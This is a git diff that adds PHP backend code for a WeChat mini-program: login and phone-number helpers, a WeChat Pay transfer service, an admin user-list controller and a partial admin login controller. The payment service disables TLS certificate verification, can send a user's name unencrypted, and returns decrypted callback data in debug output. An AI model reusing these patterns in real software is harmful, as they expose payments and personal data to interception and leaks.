'errmsg' => '请求微信接口失败']; + } + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + $token = $data['access_token'] ?? ''; + $expiresIn = (int) ($data['expires_in'] ?? 7200); + self::$cachedAccessToken = $token; + self::$cachedAccessTokenExpire = $now + $expiresIn; + return ['access_token' => $token]; + } + + /** + * 用 getPhoneNumber 回调里的 code 换取手机号 + * @param string $code 小程序 button open-type="getPhoneNumber" 回调中的 detail.code + * @return array{phoneNumber:string,purePhoneNumber:string,countryCode:string}|array{errcode:int,errmsg:string} + */ + public static function getPhoneNumber(string $code): array + { + $tokenResult = self::getAccessToken(); + if (isset($tokenResult['errcode'])) { + return $tokenResult; + } + $accessToken = $tokenResult['access_token']; + $url = self::$getPhoneNumberUrl . '?access_token=' . urlencode($accessToken); + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => 'Content-Type: application/json', + 'content' => json_encode(['code' => $code]), + ], + ]); + $resp = @file_get_contents($url, false, $ctx); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + $phoneInfo = $data['phone_info'] ?? []; + $purePhoneNumber = $phoneInfo['purePhoneNumber'] ?? $phoneInfo['phoneNumber'] ?? ''; + $phoneNumber = $phoneInfo['phoneNumber'] ?? $purePhoneNumber; + $countryCode = $phoneInfo['countryCode'] ?? '86'; + return [ + 'phoneNumber' => $phoneNumber, + 'purePhoneNumber' => $purePhoneNumber, + 'countryCode' => $countryCode, + ]; + } + + /** + * code 换取 openid、session_key(及 unionid) + * @param string $code 小程序 wx.login 返回的 code + * @return array{openid:string,session_key:string,unionid?:string}|array{errcode:int,errmsg:string} + */ + public static function jscode2session(string $code): array + { + $appId = config('wechat.app_id'); + $appSecret = config('wechat.app_secret'); + if (empty($appId) || empty($appSecret)) { + return ['errcode' => -1, 'errmsg' => '未配置微信小程序 app_id 或 app_secret']; + } + + $url = self::$jscode2sessionUrl . '?' . http_build_query([ + 'appid' => $appId, + 'secret' => $appSecret, + 'js_code' => $code, + 'grant_type' => 'authorization_code', + ]); + + $resp = @file_get_contents($url); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + + $data = json_decode($resp, true); + if (empty($data) || !is_array($data)) { + return ['errcode' => -3, 'errmsg' => '微信接口返回异常']; + } + + if (isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + + return [ + 'openid' => $data['openid'] ?? '', + 'session_key' => $data['session_key'] ?? '', + 'unionid' => $data['unionid'] ?? null, + ]; + } + + /** + * 生成带参数的小程序码(永久有效),返回原始二进制或错误信息 + * @param string $scene 最大 32 个可见字符,用于区分邀请人/渠道 + * @param string $page 小程序页面路径,如 pages/index/index + * @param int $width 小程序码宽度,默认 430 + * @return array{binary:string}|array{errcode:int,errmsg:string} + */ + public static function getWxacodeUnlimited(string $scene, string $page, int $width = 430): array + { + $tokenResult = self::getAccessToken(); + if (isset($tokenResult['errcode'])) { + return $tokenResult; + } + $accessToken = $tokenResult['access_token']; + $url = self::$getWxacodeUnlimitedUrl . '?access_token=' . urlencode($accessToken); + $payload = [ + 'scene' => mb_substr($scene, 0, 32), + 'page' => $page, + 'width' => $width, + 'check_path' => false, + ]; + $ctx = stream_context_create([ + 'http' => [ + 'method' => 'POST', + 'header' => 'Content-Type: application/json', + 'content' => json_encode($payload, JSON_UNESCAPED_UNICODE), + ], + ]); + $resp = @file_get_contents($url, false, $ctx); + if ($resp === false) { + return ['errcode' => -2, 'errmsg' => '请求微信接口失败']; + } + // 微信错误时返回 JSON,成功时返回图片二进制 + $head = substr($resp, 0, 1); + if ($head === '{' || $head === '[') { + $data = json_decode($resp, true); + if (is_array($data) && isset($data['errcode']) && $data['errcode'] !== 0) { + return [ + 'errcode' => (int) $data['errcode'], + 'errmsg' => $data['errmsg'] ?? 'unknown', + ]; + } + } + return ['binary' => $resp]; + } +} diff --git a/api/app/common/service/WechatTransferService.php b/api/app/common/service/WechatTransferService.php new file mode 100644 index 0000000..a041d7f --- /dev/null +++ b/api/app/common/service/WechatTransferService.php @@ -0,0 +1,495 @@ +mchId = env('MCH_ID', ''); + $this->appId = env('WECHAT_APPID', ''); + $this->apiV3Key = env('API_KEY', ''); + $this->certSerialNo= env('CERT_SERIAL_NO', ''); + + if (!$this->mchId || !$this->appId || !$this->apiV3Key || !$this->certSerialNo) { + throw new Exception('微信转账配置不完整,请检查 .env 中的 MCH_ID / WECHAT_APPID / API_KEY / CERT_SERIAL_NO'); + } + + // 私钥:支持本地路径、URL 或直接内容 + $privateKeyConf = env('PRIVATE_KEY', ''); + if ($privateKeyConf) { + if (file_exists($privateKeyConf)) { + $this->privateKey = file_get_contents($privateKeyConf); + } elseif (filter_var($privateKeyConf, FILTER_VALIDATE_URL)) { + $this->privateKey = file_get_contents($privateKeyConf); + if ($this->privateKey === false) { + Log::error('无法从URL加载私钥', ['url' => $privateKeyConf]); + $this->privateKey = ''; + } + } else { + $this->privateKey = $privateKeyConf; + } + } + if (empty($this->privateKey)) { + throw new Exception('商户私钥加载失败,请检查 PRIVATE_KEY 配置'); + } + + // 公钥(可选):用于后续回调验签,支持本地路径、URL 或直接内容 + $publicKeyConf = env('WECHAT_PAY_PUB_KEY', ''); + $this->publicKey = ''; + if ($publicKeyConf) { + if (file_exists($publicKeyConf)) { + $this->publicKey = file_get_contents($publicKeyConf); + } elseif (filter_var($publicKeyConf, FILTER_VALIDATE_URL)) { + $this->publicKey = file_get_contents($publicKeyConf); + if ($this->publicKey === false) { + Log::error('无法从URL加载公钥', ['url' => $publicKeyConf]); + $this->publicKey = ''; + } + } else { + $this->publicKey = $publicKeyConf; + } + } + } + + /** + * 发起转账 + * @param array $params 转账参数 + * - out_bill_no: 商户单号(必填) + * - openid: 收款用户OpenID(必填) + * - transfer_amount: 转账金额,单位:分(必填) + * - transfer_remark: 转账备注(必填) + * - transfer_scene_id: 转账场景ID(必填,如:1000现金营销,1006企业报销) + * - user_name: 收款用户姓名(选填,>=2000元必填) + * - transfer_scene_report_infos: 转账场景报备信息(必填) + * - notify_url: 通知地址(选填) + * - user_recv_perception: 用户收款感知(选填) + * @return array + */ + public function createTransfer($params) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills'; + + // 构建请求体 + $body = [ + 'appid' => $this->appId, + 'out_bill_no' => $params['out_bill_no'], + 'transfer_scene_id' => $params['transfer_scene_id'], + 'openid' => $params['openid'], + 'transfer_amount' => intval($params['transfer_amount']), + 'transfer_remark' => $params['transfer_remark'], + // 场景报备信息(必填):岗位类型 + 报酬说明 + 'transfer_scene_report_infos' => $params['transfer_scene_report_infos'] ?? [], + ]; + + // 可选参数 + if (isset($params['user_name']) && !empty($params['user_name'])) { + // 需要加密 + $body['user_name'] = $this->encryptSensitiveData($params['user_name']); + } + + if (isset($params['notify_url']) && !empty($params['notify_url'])) { + $body['notify_url'] = $params['notify_url']; + } + + // user_recv_perception 暂不传,避免 INVALID_REQUEST:“暂不支持展示当前传入的用户收款感知” + + $result = $this->request('POST', $url, $body); + + return $result; + } + + /** + * 查询转账单(通过商户单号) + * @param string $outBillNo 商户单号 + * @return array + */ + public function queryByOutBillNo($outBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/out-bill-no/' . $outBillNo; + return $this->request('GET', $url); + } + + /** + * 查询转账单(通过微信单号) + * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012716457 + * @param string $transferBillNo 微信转账单号 + * @return array + */ + public function queryByTransferBillNo($transferBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/transfer-bill-no/' . $transferBillNo; + return $this->request('GET', $url); + } + + /** + * 撤销转账 + * @param string $transferBillNo 微信转账单号 + * @return array + */ + public function cancelTransfer($transferBillNo) + { + $url = self::API_BASE_URL . '/v3/fund-app/mch-transfer/transfer-bills/' . $transferBillNo . '/cancel'; + return $this->request('POST', $url); + } + + /** + * 发送HTTP请求 + * @param string $method 请求方法 + * @param string $url 请求URL + * @param array $body 请求体(POST时使用) + * @return array + */ + private function request($method, $url, $body = []) + { + $timestamp = time(); + $nonce = $this->generateNonce(); + $bodyStr = !empty($body) ? json_encode($body, JSON_UNESCAPED_UNICODE) : ''; + + // 构建签名 + $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $bodyStr); + + // 构建请求头 + $headers = [ + 'Content-Type: application/json', + 'Accept: application/json', + 'User-Agent: WechatPay-APIv3-PHP', + 'Authorization: ' . $this->buildAuthorization($method, $url, $timestamp, $nonce, $bodyStr), + ]; + + // 如果有证书序列号,添加到请求头 + if (!empty($this->certSerialNo)) { + $headers[] = 'Wechatpay-Serial: ' . $this->certSerialNo; + } + + // 发送请求 + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); + curl_setopt($ch, CURLOPT_TIMEOUT, 30); + + if ($method === 'POST') { + curl_setopt($ch, CURLOPT_POST, true); + curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); + } + + $response = curl_exec($ch); + $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); + $error = curl_error($ch); + curl_close($ch); + + if ($error) { + // 尝试写入日志,但不影响错误返回 + try { + Log::error('微信支付请求失败: ' . $error); + } catch (\Exception $e) { + // 日志写入失败不影响错误返回 + } + return ['success' => false, 'error' => ['code' => 'CURL_ERROR', 'message' => $error]]; + } + + $result = json_decode($response, true); + + if ($httpCode === 200) { + return ['success' => true, 'data' => $result]; + } else { + // 尝试写入日志,但不影响错误返回 + try { + Log::error('微信支付API错误: HTTP ' . $httpCode . ', Response: ' . $response); + } catch (\Exception $e) { + // 日志写入失败不影响错误返回 + } + return ['success' => false, 'http_code' => $httpCode, 'error' => $result]; + } + } + + /** + * 构建签名 + * @param string $method 请求方法 + * @param string $url 请求URL(不包含域名) + * @param int $timestamp 时间戳 + * @param string $nonce 随机字符串 + * @param string $body 请求体 + * @return string + */ + private function buildSignature($method, $url, $timestamp, $nonce, $body) + { + $urlParts = parse_url($url); + $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); + + $message = $method . "\n" . + $urlPath . "\n" . + $timestamp . "\n" . + $nonce . "\n" . + $body . "\n"; + + openssl_sign($message, $signature, $this->privateKey, OPENSSL_ALGO_SHA256); + return base64_encode($signature); + } + + /** + * 构建Authorization头 + * @param string $method + * @param string $url + * @param int $timestamp + * @param string $nonce + * @param string $body + * @return string + */ + private function buildAuthorization($method, $url, $timestamp, $nonce, $body) + { + $urlParts = parse_url($url); + $urlPath = $urlParts['path'] . (isset($urlParts['query']) ? '?' . $urlParts['query'] : ''); + + $signature = $this->buildSignature($method, $url, $timestamp, $nonce, $body); + + // 获取证书序列号(从私钥中提取,这里简化处理,实际应该从证书中获取) + $serialNo = $this->certSerialNo ?: 'YOUR_CERT_SERIAL_NO'; + + return sprintf( + 'WECHATPAY2-SHA256-RSA2048 mchid="%s",nonce_str="%s",timestamp="%d",serial_no="%s",signature="%s"', + $this->mchId, + $nonce, + $timestamp, + $serialNo, + $signature + ); + } + + /** + * 加密敏感信息(使用微信支付公钥加密) + * @param string $data 待加密数据 + * @return string base64编码的加密数据 + */ + private function encryptSensitiveData($data) + { + // 注意:这里需要使用微信支付平台证书公钥加密 + // 简化实现,实际应该使用微信支付平台证书 + if (empty($this->publicKey)) { + // 如果没有配置公钥,返回原数据(实际生产环境必须加密) + Log::warning('未配置微信支付公钥,敏感数据未加密'); + return $data; + } + + $encrypted = ''; + if (openssl_public_encrypt($data, $encrypted, $this->publicKey, OPENSSL_PKCS1_OAEP_PADDING)) { + return base64_encode($encrypted); + } + + Log::error('敏感数据加密失败'); + return $data; + } + + /** + * 生成随机字符串 + * @param int $length 长度 + * @return string + */ + private function generateNonce($length = 32) + { + return bin2hex(random_bytes($length / 2)); + } + + /** + * 验证回调签名 + * @param array $headers 请求头 + * @param string $body 请求体 + * @return bool + */ + public function verifyCallback($headers, $body) + { + if (empty($this->publicKey)) { + // 不记录日志,避免日志错误 + return false; + } + + // 从请求头中提取签名信息(注意:HTTP头中的下划线会被转换为中划线) + $signature = $headers['Wechatpay-Signature'] ?? $headers['wechatpay-signature'] ?? ''; + $timestamp = $headers['Wechatpay-Timestamp'] ?? $headers['wechatpay-timestamp'] ?? ''; + $nonce = $headers['Wechatpay-Nonce'] ?? $headers['wechatpay-nonce'] ?? ''; + $serial = $headers['Wechatpay-Serial'] ?? $headers['wechatpay-serial'] ?? ''; + + if (empty($signature) || empty($timestamp) || empty($nonce) || empty($serial)) { + // 不记录日志,避免日志错误 + return false; + } + + // 构建验证消息(按照微信支付文档格式) + $message = $timestamp . "\n" . $nonce . "\n" . $body . "\n"; + + // 验证签名 + $signatureData = base64_decode($signature); + $result = openssl_verify($message, $signatureData, $this->publicKey, OPENSSL_ALGO_SHA256); + + if ($result === 1) { + return true; + } else { + // 不记录日志,避免日志错误 + return false; + } + } + + /** + * 解密回调通知中的resource数据 + * @param array $resource 回调通知中的resource对象 + * @return array|null 解密后的数据,失败返回null + */ + /** + * 解密回调报文(按照官方文档实现) + * 参考:https://pay.weixin.qq.com/doc/v3/merchant/4012071382 + * + * @param array $resource 加密的资源对象 + * @return array|null 解密后的数据 + */ + public function decryptCallbackResource($resource) + { + // 调试信息 + $debug = []; + $debug['step'] = '1.检查输入参数'; + + // 1. 检查必要参数 + if (empty($resource['ciphertext']) || empty($resource['nonce']) || !isset($resource['associated_data'])) { + $debug['error'] = '缺少必要参数'; + $debug['has_ciphertext'] = !empty($resource['ciphertext']); + $debug['has_nonce'] = !empty($resource['nonce']); + $debug['has_associated_data'] = isset($resource['associated_data']); + return ['_debug' => $debug, 'result' => null]; + } + + // 2. 检查加密算法 + $algorithm = $resource['algorithm'] ?? ''; + $debug['step'] = '2.检查加密算法'; + $debug['algorithm'] = $algorithm; + + if ($algorithm !== 'AEAD_AES_256_GCM') { + $debug['error'] = '不支持的加密算法'; + return ['_debug' => $debug, 'result' => null]; + } + + // 3. 检查APIv3密钥长度(必须是32字节) + $debug['step'] = '3.检查APIv3密钥'; + $debug['api_v3_key_length'] = strlen($this->apiV3Key); + + if (strlen($this->apiV3Key) !== 32) { + $debug['error'] = 'APIv3密钥长度必须为32字节'; + return ['_debug' => $debug, 'result' => null]; + } + + // 4. 准备解密参数(按照官方文档) + $debug['step'] = '4.准备解密参数'; + + // Base64解码密文 + $ciphertext = base64_decode($resource['ciphertext']); + $nonce = $resource['nonce']; + $associatedData = $resource['associated_data']; + + $debug['ciphertext_base64_length'] = strlen($resource['ciphertext']); + $debug['ciphertext_decoded_length'] = strlen($ciphertext); + $debug['nonce'] = $nonce; + $debug['nonce_length'] = strlen($nonce); + $debug['associated_data'] = $associatedData; + + // 5. 检查密文长度(必须大于认证标签长度16字节) + $AUTH_TAG_LENGTH = 16; + if (strlen($ciphertext) <= $AUTH_TAG_LENGTH) { + $debug['error'] = '密文长度不足,必须大于' . $AUTH_TAG_LENGTH . '字节'; + return ['_debug' => $debug, 'result' => null]; + } + + // 6. 分离密文和认证标签(按照官方文档) + $debug['step'] = '6.分离密文和认证标签'; + + // 密文主体(去掉最后16字节) + $ctext = substr($ciphertext, 0, -$AUTH_TAG_LENGTH); + // 认证标签(最后16字节) + $authTag = substr($ciphertext, -$AUTH_TAG_LENGTH); + + $debug['ctext_length'] = strlen($ctext); + $debug['authTag_length'] = strlen($authTag); + + // 7. 使用OpenSSL解密(按照官方文档) + $debug['step'] = '7.OpenSSL解密'; + + // PHP >= 7.1 支持 AES-256-GCM + if (PHP_VERSION_ID < 70100) { + $debug['error'] = 'PHP版本必须 >= 7.1'; + $debug['php_version'] = PHP_VERSION; + return ['_debug' => $debug, 'result' => null]; + } + + if (!in_array('aes-256-gcm', openssl_get_cipher_methods())) { + $debug['error'] = 'OpenSSL不支持aes-256-gcm算法'; + return ['_debug' => $debug, 'result' => null]; + } + + // 执行解密(参数顺序按照官方文档) + $decrypted = openssl_decrypt( + $ctext, // 密文主体 + 'aes-256-gcm', // 加密算法 + $this->apiV3Key, // API v3密钥 + OPENSSL_RAW_DATA, // 原始数据 + $nonce, // 随机串 + $authTag, // 认证标签 + $associatedData // 附加数据 + ); + + $debug['step'] = '8.检查解密结果'; + $debug['decrypt_success'] = ($decrypted !== false); + + if ($decrypted === false) { + $debug['error'] = 'openssl_decrypt解密失败'; + $debug['openssl_error'] = openssl_error_string() ?: '无错误信息'; + return ['_debug' => $debug, 'result' => null]; + } + + $debug['decrypted_length'] = strlen($decrypted); + $debug['decrypted_preview'] = substr($decrypted, 0, 200); + + // 8. 解析JSON + $debug['step'] = '9.解析JSON'; + $data = json_decode($decrypted, true); + + if (json_last_error() !== JSON_ERROR_NONE) { + $debug['error'] = 'JSON解析失败'; + $debug['json_error'] = json_last_error_msg(); + $debug['decrypted_full'] = $decrypted; + return ['_debug' => $debug, 'result' => null]; + } + + $debug['success'] = true; + $debug['data_keys'] = array_keys($data); + + return ['_debug' => $debug, 'result' => $data]; + } +} diff --git a/api/app/controller/admin/AppUser.php b/api/app/controller/admin/AppUser.php new file mode 100644 index 0000000..75f89d1 --- /dev/null +++ b/api/app/controller/admin/AppUser.php @@ -0,0 +1,358 @@ +request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + + $where = []; + if ($keyword !== '') { + $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; + } + + // admin / enterprise_admin 均只能看本企业数据 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + // JWT 未含 enterpriseId 时回退查库(兼容旧 token) + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + + // 若有企业ID:先从 user_profile 中取出属于本企业的 userId 列表(以画像为主表) + $profileUserIds = []; + if ($enterpriseId) { + $profileUserIds = Db::name('user_profile') + ->where('enterpriseId', $enterpriseId) + ->column('userId'); + $profileUserIds = $profileUserIds ? array_values(array_unique(array_filter($profileUserIds))) : []; + if (empty($profileUserIds)) { + return paginate_response([], 0, $page, $pageSize); + } + } + + // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 + try { + $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } catch (\Throwable $e) { + $dedupIds = Db::name('wechat_users')->column('id'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } + if (empty($dedupIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); + // 若从画像表中筛出了当前企业的用户池,则仅保留这些 userId + if (!empty($profileUserIds)) { + $baseQuery->whereIn('id', $profileUserIds); + } + if ($where) { + $baseQuery->where($where); + } + + $total = (int) $baseQuery->count(); + $list = (clone $baseQuery) + ->field('id,nickname,openid,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + // 为每条用户附加测试统计(test_results.userId 对应 wechat_users.id) + $ids = array_column($list, 'id'); + $testCounts = []; + $lastTestAt = []; + $testTypes = []; // 每个用户最新几条测试类型,用于展示 MBTI/PDP/DISC + $payStats = []; + $enterpriseName = null; + if ($enterpriseId) { + $ent = Db::name('enterprises')->where('id', $enterpriseId)->find(); + $enterpriseName = $ent['name'] ?? ('企业' . $enterpriseId); + } + if (!empty($ids)) { + // 测试统计严格按 test_results.enterpriseId 归属企业过滤 + $trBase = Db::name('test_results')->where('userId', 'in', $ids); + if ($enterpriseId) { + $trBase->where('enterpriseId', $enterpriseId); + } + $counts = (clone $trBase) + ->group('userId') + ->column('COUNT(*) as cnt', 'userId'); + $testCounts = $counts ?: []; + + $lastRows = (clone $trBase) + ->field('id, userId, testType, resultData, createdAt, enterpriseId as testEnterpriseId') + ->order('createdAt', 'desc') + ->select(); + foreach ($lastRows as $row) { + $uid = $row['userId']; + if (!isset($lastTestAt[$uid])) { + $lastTestAt[$uid] = $row['createdAt']; + } + if (!isset($testTypes[$uid])) { + $testTypes[$uid] = []; + } + $testTypes[$uid][] = [ + 'testType' => $row['testType'], + 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), + 'createdAt' => $row['createdAt'], + 'testScope' => !empty($row['testEnterpriseId']) ? 'enterprise' : 'personal', + ]; + } + // 付款统计:user_profile(按当前企业过滤) + try { + $profilesQuery = Db::name('user_profile') + ->where('userId', 'in', $ids); + if ($enterpriseId) { + $profilesQuery->where('enterpriseId', $enterpriseId); + } + $profiles = $profilesQuery + ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') + ->group('userId') + ->select() + ->toArray(); + foreach ($profiles as $p) { + $uid = (int) ($p['userId'] ?? 0); + if ($uid > 0) { + $payStats[$uid] = [ + 'paidOrders' => (int) ($p['paidOrders'] ?? 0), + 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), + ]; + } + } + } catch (\Throwable $e) { + $payStats = []; + } + } + + foreach ($list as &$row) { + $id = $row['id']; + $testsForUser = $testTypes[$id] ?? []; + $row['username'] = $row['nickname'] ?? ('用户' . $id); + $row['testCount'] = (int) ($testCounts[$id] ?? 0); + $row['lastTestAt'] = $lastTestAt[$id] ?? null; + $row['tests'] = $testsForUser; + $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); + $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); + $row['discType'] = $this->extractResultType($testsForUser, 'disc'); + $row['faceType'] = $this->extractResultType($testsForUser, 'face'); + $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); + $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); + $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); + $row['enterprise'] = $enterpriseName !== null ? $enterpriseName : '全部'; + $pay = $payStats[$id] ?? null; + $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; + $row['totalPaidAmount'] = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 测试用户详情:基本信息 + 测试记录列表 + * GET /api/v1/admin/app-users/:id + */ + public function detail($id) + { + $user = $this->request->user ?? null; + if (!$user) { + return error('未登录', 401); + } + if (!in_array($user['role'] ?? '', ['admin', 'enterprise_admin'])) { + return error('无权限访问', 403); + } + + // admin / enterprise_admin 均只能查看本企业的用户 + $enterpriseId = $user['enterpriseId'] ?? null; + if (!$enterpriseId) { + $adminRow = Db::name('users')->where('id', $user['userId'] ?? 0)->find(); + $enterpriseId = $adminRow['enterpriseId'] ?? null; + } + if ($enterpriseId) { + // 使用 user_profile 判断该用户是否属于当前企业(以画像为主表) + $has = Db::name('user_profile') + ->where('userId', $id) + ->where('enterpriseId', $enterpriseId) + ->find(); + if (!$has) { + return error('无权限查看该用户', 403); + } + } + + $row = Db::name('wechat_users')->where('id', $id)->find(); + if (!$row) { + return error('用户不存在', 404); + } + + $data = [ + 'id' => (int) $row['id'], + 'username' => $row['nickname'] ?? ('用户' . $row['id']), + 'nickname' => $row['nickname'] ?? '', + 'avatar' => $row['avatar'] ?? '', + 'phone' => $row['phone'] ?? '', + 'email' => '', + 'gender' => (int) ($row['gender'] ?? 0), + 'country' => $row['country'] ?? '', + 'province' => $row['province'] ?? '', + 'city' => $row['city'] ?? '', + 'status' => (int) ($row['status'] ?? 1), + 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, + 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, + 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, + ]; + + // 测试列表:严格按 test_results.enterpriseId 归属本企业过滤 + $testQuery = Db::name('test_results')->where('userId', $id); + if ($enterpriseId) { + $testQuery->where('enterpriseId', $enterpriseId); + } + $tests = $testQuery + ->field('id, testType, resultData, enterpriseId as testEnterpriseId, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as &$t) { + $raw = $t['resultData'] ?? ''; + $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + $t['testScope'] = !empty($t['testEnterpriseId']) ? 'enterprise' : 'personal'; + unset($t['testEnterpriseId']); + } + + $data['testCount'] = count($tests); + $data['testList'] = $tests; + $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); + $data['pdpType'] = $this->extractResultType($tests, 'pdp'); + $data['discType'] = $this->extractResultType($tests, 'disc'); + $data['faceType'] = $this->extractResultType($tests, 'face'); + $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); + $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); + $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); + + return success($data); + } + + /** + * 从测试记录中取出某类型的最近结果(result 可能是 JSON 字符串,取 type 或 result 字段) + */ + private function extractResultType(array $tests, string $type): string + { + $targetType = strtolower($type); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== $targetType) { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + return $targetType === 'face' ? '人脸分析' : trim($result); + } + + if ($targetType === 'face') { + return '人脸分析'; + } + + if ($targetType === 'mbti') { + return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); + } + + if ($targetType === 'disc') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['disc'] ?? ''); + } + + if ($targetType === 'pdp') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['pdp'] ?? ''); + } + + return (string) ($dec['type'] ?? $dec['result'] ?? ''); + } + return ''; + } + + /** + * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 + */ + private function extractFaceSubType(array $tests, string $subType): string + { + $target = strtolower($subType); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== 'face') { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + continue; + } + + if ($target === 'mbti') { + if (!empty($dec['mbti']['type'])) { + return (string) $dec['mbti']['type']; + } + if (!empty($dec['mbtiType'])) { + return (string) $dec['mbtiType']; + } + } elseif ($target === 'disc') { + if (!empty($dec['disc']['primary'])) { + return (string) $dec['disc']['primary']; + } + if (!empty($dec['disc'])) { + return (string) $dec['disc']; + } + } elseif ($target === 'pdp') { + if (!empty($dec['pdp']['primary'])) { + return (string) $dec['pdp']['primary']; + } + if (!empty($dec['pdp'])) { + return (string) $dec['pdp']; + } + } + } + return ''; + } +} diff --git a/api/app/controller/admin/Auth.php b/api/app/controller/admin/Auth.php new file mode 100644 index 0000000..9adb4cb --- /dev/null +++ b/api/app/controller/admin/Auth.php @@ -0,0 +1,265 @@ +where('username', $username) + ->where('role', 'in', ['admin', 'enterprise_admin']) // 只允许普通管理员和企业管理员登录 + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息(使用时间戳,驼峰命名) + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'], + 'enterpriseId' => $user['enterpriseId'] ?? null + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expires_in' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 管理员登录(新路由:/api/v1/auth/admin/login) + * @return \think\response\Json + */ + public function adminLogin() + { + $username = Request::param('username', ''); + $password = Request::param('password', ''); + + if (empty($username) || empty($password)) { + return error('用户名和密码不能为空', 400); + } + + // 查找用户(使用原生查询获取密码字段) + $user = Db::name('users') + ->where('username', $username) + ->where('role', 'in', ['admin', 'enterprise_admin']) // 